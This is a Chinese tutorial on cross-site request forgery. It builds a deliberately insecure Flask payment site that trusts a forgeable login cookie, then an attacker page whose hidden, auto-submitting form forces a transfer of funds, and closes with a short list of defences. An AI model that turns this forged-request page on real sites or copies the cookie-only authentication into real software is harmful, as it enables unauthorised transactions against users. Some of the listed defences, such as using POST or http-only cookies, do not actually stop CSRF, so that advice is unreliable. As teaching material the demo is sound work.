介绍
CSRF(Cross-site request forgery),即跨站请求伪造,通过意思可以看出其是通过伪造的请求来达到某些手段的恶意攻击技术,举个例子:比如一个网站的交易手段是基于用户登录后才能够进行的,而用户是否登录则是通过存在本地的cookie进行判断,那么正常情况下别人是无法盗用你的名义进行交易的,因为别人没有你的账号密码,无法登录你的账号进行操作。但是假如你现在登录了你的账号,那么此时浏览器中可能就存放着登录成功的cookie,然后你不小心登录了某个网站,网站里有一张图片,其src就是那个网站交易的网址,并且传入了一些黑客写的交易请求数据(比如你给黑客转多少钱),此时这个网站就会发送这个请求到网站进行交易,而网站就会判断你是否已经登录,然后发现你的cookie是登录成功的状态,于是就帮你进行了交易的操作,结果你就在不知不觉当中进行了转账交易,简单用流程来表示就是:
正常情况1:你没登录网站 -> cookie状态为未登录 -> 不允许交易
正常情况2:你登录网站 -> cookie状态为已登录 -> 允许交易
黑客使用csrf:
你登录网站 -> cookie状态为已登录 -> 错进黑客网站 -> 黑客网站发送以你的账号的交易请求 ->
交易网站检查发现cookie状态为已登录 -> 交易成功(然而实际上交易请求是黑客发起的)
下面就用代码来模拟上面的场景(为了简易模拟,本文的后端功能都由flask实现):
简单示例
登录后才能交易的网站:x(本地端口:5000)
from flask import Flask, request, make_response
app = Flask(__name__)
html_base = """<a href="/">登录页面</a>
<a href="/pay_page">交易页面</a><br>"""
@app.route('/', )
def index():
'''登录页面'''
global html_base
html = html_base + """
<form action="/login" method="post">
用户名:<input type="text" name="username"><br>
密码:<input type="password" name="password"><br>
<input type="submit">
</form>"""
return html
@app.route('/login', methods=['POST'])
def login():
'''登录并保存cookie'''
global html_base
username = request.form.get("username")
response = make_response(html_base + '登录成功')
response.set_cookie('login_status', 'true')
response.set_cookie('username', username)
return response
@app.route('/pay_page')
def pay_page():
'''交易页面'''
global html_base
html = html_base + """
<form action="/pay" method="post">
转账账户:<input type="text" name="get"><br>
转账金额:<input type="text" name="money"><br>
<input type="submit">
</form>"""
return html
@app.route('/pay', methods=['POST'])
def pay():
'''交易请求接口'''
global html_base
login_status = request.cookies.get("login_status")
username = request.cookies.get("username")
if login_status == "true":
# 当登录状态为真
get = request.form.get("get")
money = request.form.get("money")
print("交易成功:【{}】给【{}】转账:{} 元!".format(username, get, money))
return html_base + "交易成功:【{}】给【{}】转账:{} 元!".format(username, get, money)
else:
return html_base + "请先登录!"
if __name__ == '__main__':
app.run(debug=True, port=5000)
黑客发送伪造交易请求的网站:y(本地端口:6666)
from flask import Flask
app = Flask(__name__)
@app.route('/hack')
def hack():
'''黑客网页,隐藏post表单发送伪造请求'''
html = """
这个页面真的没有什么问题呢(/坏笑)
<iframe id="ifr" style="display:none"></iframe>
<form action="http://127.0.0.1:5000/pay" method="post" style="display:none" target="ifr" id="hack_form">
<input type="hidden" name="get" value="hack">
<input type="hidden" name="money" value="10000">
<input type="submit">
</form>
<script>
document.getElementById("hack_form").submit();
</script>
"""
# 页面里通过一个隐藏表单向交易接口发送交易请求,通过target指向iframe使得页面不会因post请求后自动跳转,从而悄无声息地进行交易
return html
if __name__ == '__main__':
app.run(debug=True, port=6666)
模拟测试
- 步骤一:进入交易页面
http://127.0.0.1:5000/pay_page
,输入转账信息后会发现要求登录,此时是没有问题的 - 步骤二:进入登录页面
http://127.0.0.1:5000/
,登录后,再次进行转账发现操作成功 - 步骤三:在登录后,访问黑客页面
http://127.0.0.1:6666/hack
,再查看网站x的后台,会发现已经自动完成了交易的请求,此时黑客已经完成了恶意操作
CSRF防御
- 尽量使用post
- 将cookie设置为http-only
- 添加验证码
- refer路径判断
- 表单传递token(或使用Anti CSRF Token)
网友评论